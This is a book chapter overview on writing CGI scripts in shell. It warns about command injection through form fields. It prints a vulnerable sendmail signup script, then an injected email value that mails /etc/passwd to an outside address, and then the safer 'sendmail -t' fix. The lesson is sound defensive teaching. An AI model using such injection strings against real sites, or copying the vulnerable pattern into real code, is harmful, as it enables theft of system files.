Chapter 8: Webmaster Hacks

Overview

In addition to offering a great environment for building nifty command- line-based tools that work with various Internet sites, shell scripts can also change the way your own website works, starting with some simple debugging tools and expanding to the creation of web pages on demand, a photo album browser that automatically incorporates new images uploaded to the server, and more.

All of these uses of the shell for Common Gateway Interface (CGI) scripts share one common trait, however: They require you to be conscious and aware of possible security risks. The most common hack that can catch an unaware web developer is the exploitation of the command line, accessed within the scripts.

Consider this seemingly benign example: On a web page, you have a form for people to fill out. One of the fields is their email address, and within your script you not only store their information within a local database, you also email them an acknowledgment:

 ( echo "Subject: Thanks for your signup"   echo "To: $email ($name)"   echo ""   echo "Thanks for signing up. You'll hear from us shortly."   echo "-- Dave and the team" )  sendmail $email 

Seems innocent, doesn't it? Now imagine what would happen if the email address, instead of < [e-mail] >, was entered as

 'sendmail [e-mail] < /etc/passwd; echo  [e-mail]' 

Can you see the danger lurking in that? Rather than just sending the short email to the address, this sends a copy of your /etc/passwd file to a delinquent at @das- hak.de , to perhaps use as the basis of a determined attack on your system security.

As a result, many CGI scripts are written in more security-conscious environments, notably including the -w -enabled Perl world, in which the script fails if data is utilized from an external source without being "scrubbed" or checked.

But this lack of security features doesn't preclude shell scripts from being equal partners in the world of web security. It just means that you need to be thoughtful and conscious of where problems might creep in and eliminate them. For example, a tiny change in the script just shown would prevent any potential hooligans from providing bad external data:

 ( echo "Subject: Thanks for your signup"   echo "To: $email ($name)"   echo ""   echo "Thanks for signing up. You'll hear from us shortly."   echo "-- Dave and the team" )  sendmail -t 

The -t flag to sendmail tells the program to scan the message itself for valid destination email addresses. The backquoted material never sees the light of a command line, as it's interpreted as an invalid email address within the sendmail queuing system (and then safely ends up in a log file).

Another safety mechanism requires that information sent from the web browser to the server be encoded; a backquote, for example, would actually be sent to the server (and handed off to the CGI script) as %60 , which can certainly be safely handled by a shell script without danger.

One common characteristic of all the CGI scripts in this chapter is that they do very, very limited decoding of the encoded strings: Spaces are encoded with a + for transmission, so translating them back to spaces is safe. The @ character in email addresses is sent as %40 , so that's safely transformed back too. Other than that, the scrubbed string can safely be scanned for the presence of a % and generate an error if encountered . This is highlighted in the code used in Script #72, Processing Contact Forms.

Ultimately, highly sophisticated websites will use more robust and powerful tools than the shell, but as with many of the solutions in this book, a 20-to 30-line shell script can often be enough to validate an idea, prove a concept, or solve a simple problem in a fast, portable, and reasonably efficient manner.

Try them online!  

You can explore many of the scripts in this chapter online at http://www.intuitive.com/ wicked /